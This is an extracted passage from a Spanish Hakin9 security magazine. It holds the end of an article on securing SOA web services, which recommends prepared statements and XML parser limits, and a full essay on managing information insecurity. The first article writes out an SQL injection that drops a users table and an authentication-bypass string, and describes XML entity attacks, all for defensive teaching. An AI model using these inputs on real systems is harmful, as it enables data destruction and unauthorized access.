A este método si le pasamos un nombre de usuario del tipo pepe; DROP TABLE usuarios; lo que hará es buscar primero el usuario pepe y a continuación eliminará la tabla que contiene la información de los usuarios lo cuál impedirá

que nuestro servicio web funcione correctamente. Algo menos dañino que esto puede ser el acceder a la funcionalidad de un servicio web sin ser usuario autorizado, para ello (utilizando el mismo ejemplo) si se pasa como parámetro de nombre de usuario el texto “t’ OR ‘a’==’a’) esto podría derivar en un acceso no auto-rizado si solo se tiene en cuenta que la consulta sea verdadera (devuelva algo) ya que ‘a’ == ‘a’ se cumple siempre.

Algunos de estos ataques típicos (y algunos otros) se deben a las de-bilidades derivadas de utilizar XML en las peticiones

• Documentos XML excesivamen-te largos/profundos (relacionado con los ataques DOS).

<etiqueta><etiqueta><etiqueta>

</etiqueta></etiqueta></etiqueta>

• Ataques de Expansión de Enti-dades: Si la cabecera del docu-mento XML declara entidades recursivas y el fichero las refiere, el sistema puede verse afectado (dependiendo del servidor de aplicaciones podría llegar a ser un ataque Dos).

• Entidades que refieren al sistema de ficheros: Si se declara una entidad refiriéndose a un archivo local, se puede estar preguntan-do por la existencia de un fichero e incluso conseguir una copia del mismo en el mensaje de res-puesta.

Autenticando al invocadorPoder autenticar al invocador de un servicio web es algo realmente necesario para poder establecer distintas funcionalidades a distintos perfiles de usuario. Además, poder autenticar al invocador nos protege, en cierta manera, contra otro tipo de ataques, ya que para poder realizar muchos de ellos sería necesario au-tenticarse y, para ello, tener acceso al sistema como usuario, lo cuál no es usual en el caso de un atacante. SOA en sus comienzos no permitía

de por sí autenticar al invocador pero, hoy por hoy, existen algunas alternativas para poder hacerlo:

• La nueva especificación de se-guridad (WS-Security) para ser-vicios web permite autenticar los invocadores.

• Validar a nivel de capa de trans-porte utilizando HTTPS.

• Utilizar diferentes servidores SOAP para cada nivel de acce-so.

• Hacer que el firewall inspeccione los mensajes SOAP e identifique roles de usuario, niveles de priva-cidad, etc.

De todas formas todas estas alter-nativas para autenticar al invocador están fuera del alcance de este artículo por considerarse un tanto avanzadas. Cada una de ellas tiene el suficiente peso como para desa-rrollarse en un único artículo.

Haciendo seguros tus Servicios WebUna vez tenemos claros los ataques más comunes, podemos proceder a intentar asegurar nuestros servicios web. En este punto se expone una guía de pasos básicos a verificar cada vez que se desarrolle un ser-vicio web. Algunos de estos puntos pueden obviarse cuándo se utilizan algunos aspectos de seguridad más avanzados, relacionados con los ser-vicios web como WS-Security pero, como bien hemos dicho anterior-mente, estos temas están fuera del alcance de este artículo introducto-rio.

• Asegurarnos de haber esta-blecido la profundidad máxima para el parseador XML, de forma que cuándo tenga que parsear documentos XML ideados para un ataque Dos, el sistema sea capaz de pararse antes de llegar a su muerte. Este punto no solo tiene que ver con los servicios web, si no con cualquier apli-cación en la que necesitemos parsear un XML que viene del exterior.

Page 34: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

34

• Detectar aquellas funcionalidades que hacen uso más intensivo de bases de datos. Buscar alterna-tivas al desbordamiento de las colas de conexiones a la base de datos. De hecho, es mejor que un determinado método devuelva un error cuándo ve que no va a poder ejecutar la consulta a una base de datos en un determinado tiempo, en lugar de encolar su petición ya que si se desborda la cola de peticiones a la base de datos, el servicio web puede morir.

• En todos los sitios dónde alguna funcionalidad realice consultas a base de datos a partir de pará-metros introducidos por el usua-rio, hay que asegurarse que no haya forma de inyectar otras consultas sql. Para esto, lo mejor es utilizar consultas preparadas. Por ejemplo:

$consulta = $sql->prepare(“SELECT *

FROM usuarios WHERE nombre = ?”);

$consulta->execute($usuario);

De esta forma nos aseguramos que lo que nos mande el usuario sea tomado como el valor del campo en la consulta impidiendo de cual-quier forma inyectar cualquier otra consulta.

• Seguimiento de las sesiones. A pesar de que se utilicen iden-tificadores de sesión, cualquiera que esté escuchando los men-sajes XML intercambiados puede interceptar uno y robar la sesión. Para esto es bueno hacer un seguimiento más exhaustivo del usuario, almacenando la ip de origen para contrastarla con la sesión. Esto es aplicable también al cliente que invoca al servicio web, ya que dentro de los ataques típicos encontrábamos tanto la manipulación de respuestas co-mo las respuestas enviadas des-de un falso servidor. Si desde el cliente se contrasta la información del origen de las respuestas del servidor, nos estaremos asegu-rando de la correcta identidad del servidor.

• Si es posible, recompilar el ser-vidor de aplicaciones con las opciones mínimas necesarias para el funcionamiento del mis-mo, esto hará que disminuya el número de riesgos potenciales, ya que muchos posibles ataques dependen de posibles bugs o carencias del servidor de apli-caciones. También resulta de vital importancia establecer los permisos adecuados al servidor de aplicaciones desde el sistema operativo y utilizar al máximo todas las facilidades, en cuánto a seguridad, que nos de la pla-taforma que estemos usando (por ejemplo los servidores de aplicaciones basados en Java pueden hacer uso de su sistema de seguridad).

• Ocultar toda la información po-sible de la arquitectura, servidor de aplicaciones, etc. que se pue-de mandar en las cabeceras. A pesar de que ofuscar de por si no sea una buena estrategia, cuántas menos facilidades se le den a los atacantes, menos posi-bilidades de sufrir un ataque. En este sentido también es conve-niente personalizar al máximo el servidor de aplicaciones, desde cosas tan básicas y evidentes como los posibles usuarios y claves por defecto a directorios, etc. Esto nos hace algo inmunes a que esquemas generales de ataque funcionen sobre nuestro servicio web.

• No permitir la autogeneración del WSDL y/o no tener ningún WSDL de nuestro servicio web. Existen muchos medios (mail, por ejemplo) de ofrecer el WS-DL describiendo las funcionali-dades de nuestro servicio web a usuarios que realmente quera-mos que puedan acceder a las funcionalidades y de esta forma evitamos dar información valiosa a aquellos que quieran atacar nuestro sistema.

• Utilizar logs y monitores de car-ga para poder auditar y trazar los ataques. Esto resulta muy importante ya no solo para poder

descubrir quién ha tirado nuestro sistema, si no también para pre-venir los ataques exitosos ya que analizando los logs podemos detectar intentos de ataques, pa-trones de comportamiento y ex-traer conocimiento acerca de cómo protegernos ante estos ataques. Para esto, resulta muy interesante conocer técnicas de gestión de datos aplicada a logs.

ConclusiónSOA ofrece un marco de desarro-llo bastante interesante al permitir gran interoperabilidad. De todas formas SOA es un arquitectura re-lativamente reciente y el aspecto de seguridad ha estado un tanto des-cuidado hasta hace poco tiempo. En este artículo se ha introducido la arquitectura SOA y se han visto los puntos débiles de la misma, estableciendo una guía de puntos relacionados con la seguridad a la hora de desarrollar nuestro propio servicio web. A la hora de hacer seguro nuestro servicio web nos tenemos que centrar ante todo en ofrecer la menor cantidad posible de información susceptible a ser utilizada en un ataque (definición de la funcionalidad, información de la arquitectura y servidor de aplicaciones, etc.), en asegurarnos que nuestro sistema es robusto ante ataques por XML, impedir la inyección de consultas SQL y, como es lógico, asegurarnos la robustez de la lógica de negocio del servicio web a desarrollar. l

Sobre los AutoresLos tres autores son miembros funda-dores y trabajadores de AINetSolutio-ns, empresa dedicada a consultoría en el mundo de las redes, seguridad y gestión de datos. Así mismo, tanto José Carlos Cortizo como Diego Ex-pósito son profesores asociados en la Universidad Europea de Madrid y Die-go Peces es consultor de seguridad en Axpe Consulting.

Page 35: Revista Hakin9 n23 04-2007 ES
Page 36: Revista Hakin9 n23 04-2007 ES

www.hakin9.org36

Defensa

La única constante en el mundo de la se-guridad de la información, es la inseguri-dad. En este sentido, las organizaciones

luchan día a día para tratar de eliminar o mitigar las posibles vulnerabilidades que se presentan en sus infraestructuras tecnológicas o en sus procedimientos que apoyan el negocio.

Revisando los recientes artículos e informes de vulnerabilidades (WILLIAMS, M. 2006, MI-MOSO, M. y SAVAGE, M. 2006, BEAVER, K. 2006, ROITER, N. 2006), se hace evidente que la inseguridad informática es un elemento pro-pio de la dinámica de las organizaciones en ca-da uno de sus procesos. Mientras las empresas buscan alcanzar un nivel superior de seguridad, más se encuentran con la problemática de la inseguridad, pues los procesos en sí mismos, al ser redes de comunicaciones y acuerdos entre personas, tecnologías y normas, establecen relaciones y distinciones que generalmente no son distinguibles, haciendo de la labor de aseguramiento de la información más que una función tecnológica, acciones humanas y pro-cesos administrativos y estratégicos.

Durante el 2006, los robos de información y la exposición de datos (http://attrition.org/dataloss/), fueron las manifestaciones más

sobresalientes de la inseguridad. Si miramos con detalle estas dos consideraciones, no responden necesariamente a un problema de seguridad tecnológico, sino procedimental y de concientización. Los intrusos saben y com-prenden que detrás de las infraestructuras de seguridad de la información está ese elemento que las organizaciones hoy por hoy se resisten a entrenar, a formar, a hacer parte formal de su modelo de seguridad, los usuarios. (BEA-VER, K. 2006). Esta realidad, se manifiesta en importantes incrementos de robo de identidad y fraudes bancarios a través de Internet que re-quieren una revisión profunda de nuestra com-

Administrando la Inseguridad Informática

Jeimy J. Cano

Grado de dificultad

Este documento busca repensar la seguridad de la información desde el concepto de la inseguridad, para que, tratando de aprender de la mente del atacante, se descubra cómo diseñar y construir sistemas menos inseguros, como una estrategia para destruir la falsa sensación de seguridad y animar una postura vigilante y proactiva en la gestión de la seguridad de la información.

En este artículo aprenderás...• Cómo diseñar y construir sistemas menos inse-

guros,• Cómo animar un apostura vigilante y proactiva

en la gestión de la seguridad informática.

Lo que deberías saber...• Concepto de la inversión y las vulnerabilidades

en la seguridad informática.

Page 37: Revista Hakin9 n23 04-2007 ES

Inseguridad Informática

www.hakin9.org 37

prensión de la seguridad, más allá de las fallas y las vulnerabilidades.

En este sentido, repensar el discurso de administración de la seguridad exige de los profesionales y directivos de seguridad aprender a comprender el dual que combaten: la inseguridad informática. Compren-der el lado oscuro implica reconocer que tenemos que desaprender, que nuestras actuales estrategias se limitan a mantener y utilizar más tec-nologías, y no a comprender en pro-fundidad las relaciones complejas que exhibe la organización y cómo allí se hace presente o se materiali-za la inseguridad. (THE HONEYNET PROJECT 2004, TAYLOR, R., CAE-TI, T., KALL LOPER, D., FRITSCH, E. y LIEDERBACH, J. 2006).

En consecuencia, las organiza-ciones deben reconocer que parte del secreto para incrementar los niveles de seguridad, está en la administración de la inseguridad in-formática. Expresado de otra for-ma, que tan seguros pueden llegar a ser, reconociendo siempre que la inseguridad de la información estará presente para desafiarlas una y otra vez.

Las implicaciones de esta pro-puesta exigen desarrollar un hábito que busque confrontar la inseguri-dad de la información y no solamen-te su control o mitigación. En razón a lo anterior, desarrollar un hábito requiere según Covey (2005 pág. 51) tres elementos: el conocimiento, la habilidad y la actitud.

• El conocimiento, como la capa-cidad de comprender en detalle los aspectos conceptuales rela-cionados con el área de trabajo donde se ejerce.

• La habilidad como la capacidad de hacer, desarrollar y actuar en consecuencia con ese conoci-miento.

• La actitud, como la disposición del individuo frente a los retos que propone el área de conoci-miento y su manera de enfrentar y motivar el desarrollo de habili-dades complementarias para ir más allá de lo que su entorno le propone.

En ese contexto, desarrollar el hábito de la Administración de la Inseguridad Informática – ADINSI – implica hacer de ésta una pasión, una disciplina individual que permita a las organi-zaciones mantener una posición pro-activa frente a posibles e inesperados eventos, para los cuales puede no estar preparadas, pero conscientes sobre cómo aprender de ellos.

Basado en lo anterior, se presen-ta este documento que examina los conceptos actuales de la seguridad de la información, algunas conside-raciones de inversión en temas de seguridad, los cuales serán insumo para proponer un modelo base para la administración de la inseguridad y así ver, bajo la mirada de los intrusos, tendencias emergentes y estrategias consecuentes con este modelo.

Concepto tradicional de la seguridad de la informaciónLa seguridad de la información desde los años 60 se ha desarrollado como una distinción formal, basada gene-ralmente en teorías matemáticas, las cuales terminaron materializadas en implementaciones de software, hard-ware y productos intermedios. Como bien comentaba una persona de la in-

dustria, en teoría la seguridad es per-fecta, en la práctica no, esta expresión nos sugiere que si bien, las especifi-caciones matemáticas utilizadas para darle claridad a las relaciones que se establecen entre usuarios y objetos son verificables en un escenario ideal, la realidad de las organizaciones y el desarrollo de software desbordan di-chas expectativas.

La seguridad ha estado basada todo el tiempo en la comprensión de tres elementos fundamentales y cómo alcanzarlos en cada una de las implementaciones de modelos de seguridad: confidencialidad, inte-gridad y disponibilidad – CID. Con-secuente con lo anterior, cualquier intento para vulnerar alguno de éstos elementos, se considerará un intento o ataque al activo fundamental que es la información.

Siguiendo la revisión anterior, se tiene que los ataques se presentan dado que existen escenarios y prác-ticas que no aseguran el cumpli-miento del CID para la información a proteger, característica que en el mundo de la auditoría se deno-mina riesgo. Un riesgo, de manera general, es todo aquello que no me permite el logro de los objetivos; en particular, en temas de seguridad de la información, todo aquello que no me permite cumplir con CID.

Generalmente al adelantar un pro-ceso de administración de la seguri-dad de la información, se establece lo que se denomina un conjunto de procesos a revisar y la información asociada con el mismo. Este proce-so se basa por lo general en un pro-grama de protección de activos de la organización (KOVACICH, G. y HA-LIBOZEK, E. 2006) que considera las políticas, los procedimientos, los procesos, los proyectos, los planes y las responsabilidades de cada uno de los actores de la organización frente a los activos. A través de es-te programa se operacionalizan las medidas requeridas para mitigar los riesgos a los cuales esta expuesta la información.

La valoración de qué tan efectivo ha sido el proceso de administración de la seguridad generalmente se

Tabla 1. Características de la Seguridad y de la Inseguridad (Tomado de: CANO, J. 2006)

Seguridad InseguridadSubjetiva ObjetivaNo tiene cota superior Es posible establecerle cota superiorIntangible TangibleEs una propiedad emergente Es una propiedad inherenteSe require modelarla No se require modelarla

Page 38: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

38

mide según el número de incidentes que se han presentado en la dinámi-ca de la organización y su negocio. Para ello, ejercicios como las prue-bas de vulnerabilidades, las evalua-ciones de seguridad y las auditorías de seguridad (CANO 1997) son refe-rentes útiles para establecer el grado en que las vulnerabilidades se hacen presentes tanto en la infraestructura como en los procesos de negocio.

Si revisamos las prácticas actua-les de las organizaciones alrededor de una administración de la seguri-dad de la información, identificamos una fuerte tendencia al uso de tec-nologías y utilización de estándares o buenas prácticas internacionales (KUPER, P. 2005), como una es-trategia para avanzar en su lucha contra la inseguridad, pero pocos elementos que procuren entender esta última.

En consecuencia con lo anterior, el concepto de seguridad, como el proceso formal y riguroso para man-tener un sistema de gestión orienta-do a la protección de la información, sustentado en las estrategias y di-námica de negocio, entra en crisis al saber que la inseguridad presente dentro del sistema atenta contra su propio objetivo. La pregunta que sur-ge es: ¿qué hacer frente a la inse-guridad o riesgos inherentes a la realidad de las organizaciones? La

respuesta a este interrogante será desarrollada posteriormente.

Algunas consideraciones sobre la inversión y las vulnerabilidades en seguridad informáticaLas organizaciones que reconocen en la información un activo funda-mental para desarrollar negocios y sobrevivir en un mundo global, por lo general establecen presupuestos que consideran inversiones (general-mente de un dígito) en los temas de aseguramiento o protección de dicho activo. Dichas inversiones fueron re-visadas por un estudio realizado por la firma Stanley Morgan durante el 2005 (KUPER, P. 2005), cuyos resul-tados se detallan a continuación.

La firma Stanley Morgan encontró que las mayores inversiones en se-guridad se efectúan en temas de se-guridad perimetral, es decir, cajas de protección de seguridad anti-spam, anti-virus, anti-spyware, las cuales generalmente viene preconfiguradas e instaladas, haciendo mucho más fácil su uso y puesta en producción. Dichas cajas generalmente poseen una interfase de administración que permite a los responsables de segu-ridad mirar la efectividad del control de las amenazas para las cuales han sido adquiridas.

En un segundo lugar se encuen-tran las inversiones en tecnologías de autenticación, autorización, auditoría y monitoreo, las cuales de manera estratégica soportan y registran los eventos y el acceso a la información dentro de la infraestructura de tecno-logías de información de la organi-zación. En tercer lugar, se identifica las inversiones en el tema de ase-guramiento de aplicaciones, fortale-cimiento de sistemas operacionales, valoración de la seguridad, las cuales establecen buenas prácticas que per-miten afianzar la distinción de gestión de la seguridad de la información

Finalmente, las inversiones sobre revisión y análisis de los datos que están residentes en la infraestructu-ra de computación de la empresa, la clasificación de la información y las relaciones entre aplicaciones, proce-dimientos de operación y control de datos, uso de estándares internacio-nales, entre otras.

Al revisar estos resultados, es extraño ver que la menor inversión se concentra en la esencia misma de la seguridad informática, los da-tos, la información, y que la mayor se orienta a la adquisición de tec-nologías para controlar en el exterior la aparición de amenazas contra el activo información.

Consecuente con este análisis, se adelantó una revisión paralela, siguiendo la misma estrategia del estudio de Stanley Morgan, para ver cómo evolucionan las vulnerabilida-des, los resultados obtenidos esta-blecen reflexiones que presentan en los siguientes párrafos.

Las mayores vulnerabilidades se presentan a nivel de los datos, de la información, generalmente asociadas con la falta de cultura de seguridad, la inadecuada disposición de medios de información, inadecuadas prácticas de seguridad asociadas con vulne-rabilidades donde el factor humano y el incumplimiento de procedimientos se hacen presentes. Esta realidad se evidencia en todas las organizacio-nes en mayor o menor grado, según los esfuerzos de entrenamiento, infor-mación, capacitación y formación del personal de las áreas de negocio.

Figura. 1 Análisis de la inversión en Seguridad Informática. [Adaptado de: KUPER, P. 2005]

MENOR INVERSIÓN

MAYOR INVERSIÓN

Perimiter

Network

Applications

Data

ANTI-BOXAntiSPAM/AntiVIRUS/AntiSPYWARE/

¿ A n t i H A C K I N G ?

Clasficación de la Información/EstándaresUsuarios/Technologías/Procedimientos

Mejores prácticasAseguramiento/Pruebas de Vulnerabilidades

Estrategia AAAAutenticación/Autorización/Auditoría

/Monitoreo

Page 39: Revista Hakin9 n23 04-2007 ES

Inseguridad Informática

www.hakin9.org 39

En segundo lugar tenemos las vulnerabilidades propias a las apli-caciones, las cuales frecuentemente están enraizadas en problemas con las herramientas y prácticas de pro-gramación, lo cual exige comprender que una aplicación está hecha tanto para cumplir con la especificación con la cual fue diseñada como para fallar ante un evento no esperado.

En tercer lugar, tenemos las fallas a nivel de comunicaciones. Los proto-colos utilizados en las transmisiones de información tienen vulnerabili-dades inherentes, las cuales con el tiempo se han venido detectando y corrigiendo, cuando es posible, o li-mitando la aparición de las mismas con tecnologías de seguridad que blo-quean tráficos que puedan ser cata-logados como sospechosos.

Finalmente, tenemos las vulnera-bilidades propias de los proveedores y sus productos, los cuales constan-temente están trabajando para pro-ducir los parches y actualizaciones requeridas para mitigar el riesgo que pueda comprometer la seguridad de la organización frente a las amenazas que cubre dicho software o hardware.

Como podemos observar al comparar los dos resultados, el de inversión y el de vulnerabilidades, se invierte donde existen menos vulne-rabilidades. Por tanto, la seguridad, aunque reconocemos que es un pro-ceso y no un producto, está siendo ad-ministrada en función de los recursos tecnológicos y las posibilidades que estos ofrecen. La pregunta es: ¿qué hacer para remediar esta situación?

Repensando la seguridad de la informaciónBasado en lo revisado hasta el momento, la seguridad de la infor-

mación es una disciplina que, sus-tentada en la formalidad original de los años 60’s, se ha fortalecido como un mundo tecnológico y normativo, donde cualquier anormalidad que se presente es una falla o vulnera-bilidad que debe ser controlada o mi-tigada. Esta manera de razonar, ha permitido avances importantes en las tecnologías de protección, que de manera sistemática y asidua ha logrado importantes desarrollos y pro-puestas para enfrentar el lado oscu-ro de la fuerza, la inseguridad.

Si analizamos estos últimos 40 años de evolución de la seguridad informática, podemos ver que las investigaciones se han concentrado en revisar las limitaciones de los productos y teorías alrededor de la seguridad, es decir, hemos estado estudiando la inseguridad infor-mática como factor base para los nuevos desarrollos (HUTCHINSON, B. y WARREN, M. 2001 Cap.4). Si esto es así, no podemos hablar de seguridad de la información, sin re-conocer su dual, la inseguridad (CA-NO 2004).

En consecuencia, estudiar la inseguridad como estrategia para comprender la seguridad sugiere contextualizar en un escenario real la incertidumbre inherente del siste-ma o realidad a modelar, para revisar entre otros aspectos (SCHNEIER 2003, pag. 51):

• ¿Cómo funciona el sistema?• ¿Cómo no funciona el sistema?• ¿Cómo reacciona ante una falla o

situación inesperada?• ¿Cómo hacerlo fallar?

De acuerdo con una reciente investi-gación (CANO 2006) y considerando los elementos anteriormente presen-tados (Figura 1 y 2), se establecen cinco características que identifican tanto a la seguridad como a la inse-guridad, las cuales serán analizadas y detalladas a continuación.

La seguridad es una realidad subjetiva, es decir propia del sujeto. Cada una de las personas tiene una manera de comprender y entender la seguridad. Es tan válida la defini-ción de un ciudadano común, como la de un especialista en temas de seguridad, pues cada uno de ellos comprende la realidad de la seguri-dad según su exposición a la misma. Mientras que la inseguridad es obje-tiva, es decir, propia al objeto, una realidad perceptible, observable y ve-rificable en el objeto. En este senti-do, la inseguridad valida la esencia misma del análisis de riesgos, pues sólo a través de hechos cumplidos, verificables y comprobables pode-mos medir el nivel de exposición que tenemos y cómo podemos advertir mejores medidas de control para mitigarlo, atomizarlo, minimizarlo o transferirlo.

Figura 2. Análisis de la evolución de las vulnerabilidades

MAYORES VULNERABILIDADES

MENORES VULNERABILIDADES

Perimiter

Network

Applications

DataMALWARE/CULTURA DE SEGURIDAD Virus/ Robos de portátiles/Inadecuada

disposición de medios de almacenamiento

FALLAS A NIVEL DE PROTOCOLOSConfidencialidad/Integridad/Disponibilidad

APLICACIONES INSEGURASPrácticas de progranación

FALLAS DE LOS PROVEEDORESParaches/Actualizaciones

AgradecimientosEl autor agradece al Dr. Jorge Ramió Aguirre, a la Maestra Gabriela María Saucedo Meza y al Ingeniero Andrés Ricardo Almanza Junco por su tiempo y valiosos comentarios que permitieron afinar y ajustar las ideas expuestas en este artículo.

Page 40: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

40

La seguridad no tiene cota su-perior, en otras palabras, siempre es posible encontrar una medida que sea más efectiva y/o eficiente que la an-terior. Esto es fruto normal de la evo-lución de las medidas de protección, que entendiendo ¿cómo no funciona el sistema? es posible plantear es-trategias que mejoren lo actualmente disponible. Si la inseguridad no tuvie-se cota superior como la seguridad, los seguros no existirían ni se podrían pagar. Es tal nuestra necesidad de mantener un nivel de protección, que debemos tratar de cuantificar el nivel de inseguridad que podemos admi-nistrar, siguiendo paradójicamente un nivel base de prácticas de seguridad y la dinámica de los procesos de ne-gocio. En este sentido, podemos esta-blecer un límite superior de exposición o riesgo que queremos asegurar, con las condiciones y precauciones que el asegurador establezca como mínimas para poder validar y pagar los daños como fruto de la materialización del riesgo, más allá de nuestro debido cuidado y diligencia para mantenerlo en los niveles establecidos.

La seguridad es intangible, no está en los mecanismos de seguri-dad, no está en los procedimientos, no está en las personas o en los cargos. La seguridad, complemen-taría al tema de la subjetividad previamente analizado, es la mani-festación de que estamos ante un bien cuyo manejo no es evidente ni certero gracias a su volatilidad, fruto de la percepción de terceros. Por ejemplo, si nos detenemos a ob-servar la variabilidad de los merca-dos financieros ante incertidumbres geopolíticas, nos percataremos de cómo se destruye la sensación de seguridad de los inversionistas oca-sionando efectos devastadores en los movimientos financieros. En con-secuencia y complementario con lo anterior, la inseguridad es tangible, es posible advertir el robo, la estafa, el accidente, la catástrofe, es una propiedad que es evidenciable y ve-rificable, esa que se puede valorar con hechos y cifras, soportando un análisis real de los daños y efectos que ésta ha tenido.

Al ser la seguridad un intangible, necesariamente responde a una pro-piedad emergente de un sistema. Una propiedad emergente, es aque-lla que tienen los sistemas, fruto de la relación entre sus elementos y no particular a un objeto que lo confor-ma, en otras palabras, la seguridad es fruto de la relación existente en-tre la tecnología, los procesos y los individuos, como un todo coherente y alineado que comprende que no es posible alcanzar mayores niveles de seguridad sin un entendimiento o comprensión de las interrelacio-nes, muchas veces invisibles, que la seguridad sugiere cuando de protec-ción de activos se trata.

De otra parte, la inseguridad es una propiedad inherente a los objetos, una realidad que deber ser evidencia-da y explorada para ser comprendida, lo cual nos lleva necesariamente a la aparición de la administración de ries-gos. Cuando entendemos que en el mundo donde nos movemos estamos expuestos a ellos, hacemos evidente que la inseguridad está presente en nuestro vivir y por tanto, es preciso advertir una serie de acciones que nos permitan mitigarlos. Es darle res-puesta a la pregunta ¿Qué hacer si el sistema falla?

Cuando se habla de modelar o diseñar algo, buscamos que ese

algo tenga las características que perseguimos. Si queremos que los activos gocen de seguridad, nos enfocamos en primer lugar a com-prender los riesgos a los cuales está expuesto, para desarrollar las estra-tegias de seguridad requeridas y así lograr un nivel de exposición menor de dichos activos. Por otro lado, la inseguridad no requiere de modelos o diseños específicos o detallados, ella sabe que todos los objetos la con-tienen y sus manifestaciones se pue-den manifestar en diferentes grados o impactos. En este sentido la inse-guridad es una propiedad inherente a los objetos que advierte la manera de cómo establecer los mecanismos mínimos para limitar la materializa-ción de la misma en un escenario con unos actores y variables.

Basado en esta exploración de los conceptos de seguridad e inse-guridad es posible sugerir que es arriesgado afirmar que podría ad-ministrarse la seguridad cuando la inseguridad propia de los objetos nos muestra elementos reales y tan-gibles que ofrecen características de gestión que pueden llegar a ser ana-lizados y cuantificados de tal forma, que se planteen métricas de insegu-ridad que basadas en buenas prácti-cas de seguridad y control, puedan alcanzar niveles mínimos permitidos

En la Red:• BEAVER, K. (2006) Don't Spring a Leak. Information Security Magazine. Enero. Dis-

ponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_gci1154838,00.html,

• CANO, J. (1997) Auditorías de Seguridad, Evaluaciones de Seguridad y Pruebas de penetración: tres paradigmas en la seguridad informática. Disponible en: http://www.derechotecnologico.com/estrado/estrado003.html,

• CANO, J. (2004) Inseguridad Informática. Un concepto dual en seguridad informá-tica. http://www.virusprot.com/art47.html,

• WILLIAMS, M. (2006) Security threat changing, says Symantec CEO. Disponible en: http://www.networkworld.com/news/2006/110306-security-threat-changing-says-symantec.html,

• MIMOSO, M. y SAVAGE, M. (2006) Today's Attackers Can Find the Needle. Infor-mation Security Magazine. Junio. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_gci1191313,00.html,

• ROITER, N. (2006) That Sinking Feeling. Information Security Magazine. Octubre. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_gci1219723,00.html,

• SAVAGE, M. (2006) Protect What's Precious. Information Security Magazine. Diciembre. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_gci1232273,00.html.

Page 41: Revista Hakin9 n23 04-2007 ES

Inseguridad Informática

www.hakin9.org 41

y así mantener asegurados los bie-nes o activos que se tengan bajo observación y custodia.

Si la reflexión anterior es correc-ta se requiere repensar la adminis-tración de la seguridad, por una de inseguridad donde, haciendo eviden-te cada una de las características de esta última, podamos desaprender las prácticas actuales de administra-ción del riesgo focalizadas en obje-tos, para reconocer en las relaciones que generan las expectativas de la gerencia (COHEN, F. 2005), los pro-cesos de negocio y la infraestructura de computación, una fuente comple-mentaria para el entendimiento de las vulnerabilidades en los sistemas.

Hacia un modelo de Administración de Inseguridad InformáticaLos modelos actuales de adminis-tración de seguridad, generalmente buscan descubrir y corregir las fallas, pero no generan estrategias forma-les para entender la inseguridad; se concentran en establecer las correc-ciones y los controles requeridos pa-ra mejorar la efectividad y eficiencia

de la gestión del modelo de seguri-dad (SCHOU, C. y SHOEMAKER, D. 2007). Si bien este razonamiento es útil por la manera sistemática de aprender del sistema y sus fallas, presenta limitaciones para desapren-der de sus prácticas aprendidas, cuando se enfrenta a situaciones inesperadas o no contempladas en el modelo.

Para lograr materializar las ideas presentadas previamente y darle una posible respuesta a la pregunta planteada: ¿qué hacer frente a la in-seguridad o riesgos inherentes a la realidad de las organizaciones?, se propone un modelo de administración de inseguridad informática basado en dos ideas principales: descubrir la in-seguridad y entender la inseguridad.

El descubrir la inseguridad es utilizar el enfoque tradicional (siste-mático) de administración de riesgos que se viene utilizando, donde los ejercicios de valoración de seguri-dad requieren un conocimiento es-pecializado, fundado generalmente en herramientas y estrategias prácti-cas para identificar vulnerabilidades, orientado a resultados prácticos y con-

cretos en cada uno de los elementos de evaluación y que exige personal especializado en el conocimiento de los objetos evaluados. Como re-sultado de este ejercicio tenemos la evidencia de los riesgos y controles requeridos para mitigar la presencia de la inseguridad. (KOVACICH, G. y HALIBOZEK, E. 2006)

Entender la inseguridad significa comprender las relaciones de los ele-mentos que son objeto de evaluación. Esto implica revisar de manera sisté-mica e inteligente (SCHWANINGER, M. 2006, cap. 1 y 2) los resultados de la evaluación considerando, como mínimo, los aspectos de la tecnolo-gía, los individuos y los procesos, no para analizar lo que ocurre, sino para comprender porqué ocurre y efectuar un diagnóstico de la situación. En po-cas palabras en términos sistémicos, administrar la variedad y complejidad que exhibe el sistema.

Cuando se aplican las conside-raciones sistemáticas y sistémicas al mismo tiempo, se comprenden de manera complementaria los ejerci-cios tradicionales de seguridad y se posibilita un diagnóstico real de una situación anormal. Este diagnóstico puede llevarnos a desaprender lo conocido y a establecer nuevas dis-tinciones en cualquiera de los niveles de análisis (estratégico, táctico y ope-racional), generando conocimiento que alimente el desarrollo de mejores estrategias de negocio, la aplicación de estándares y buenas prácticas, así como una asertiva ejecución los procedimientos de operación.

El modelo presentado (Figura 3)pretende, que la organización de ma-nera dinámica, comprenda que cada nivel afecta a su nivel superior, esto es, lo que se evidencie en el análisis y diagnóstico del nivel operacional afecta al nivel táctico y así sucesiva-mente, evitando la fragmentación de la visión de seguridad y promovien-do una postura proactiva y global de la organización, que reconoce en la seguridad la propiedad emergente fruto del reconocimiento y enten-dimiento de los riesgos inherentes a cada uno de los objetos que la conforman.

Librería• CANO, J. (2006) Information Insecurity: A dual concept of information security. Pro-

ceeding of 2nd Internacional Conference on E-Global Security. Londres, UK. Abril.• COHEN, F. (2005) Security Governance: Business Operations, security governan-

ce, risk management and enterprise security architecture. ASP Press.• COVEY, S. (2005) El octavo hábito. De la efectividad a la grandeza. Editorial Pai-

dos.• HUTCHINSON, B. y WARREN, M. (2001) Information warfare. Corporate attack

and defense in a digital world. Butterworth Heinemann.• KIELY, L y BENZEL, T (2006) Systemic security management. IEEE Security &

Privacy. Noviembre/Diciembre.• KOVACICH, G. y HALIBOZEK, E. (2006) Security metrics management. How to

manage the cost of an assets protection program. Butterworth Heinemann.• KUPER, P. (2005) The state of security. IEEE Security & Privacy. Septiembre/

Octubre• SCHNEIER, B. (2003) Beyond Fear. Thinking Sensibly about security in an uncer-

tain world. Copernicus Books.• SCHOU, C. y SHOEMAKER, D. (2007) Information Assurance for the enterprise.

A roadmap to information security. McGraw Hill.• SCHWANINGER, M. (2006) Intelligent organizations. Powerful models for syste-

mic management. Springer Verlag.• TAYLOR, R., CAETI, T., KALL LOPER, D., FRITSCH, E. y LIEDERBACH, J.

(2006) Digital crime and digital terrorism. Pearson Prentice Hall.• THE HONEYNET PROJECT (2004) Know your enemy. Learning about security

threats. Addison Wesley.

Page 42: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

42

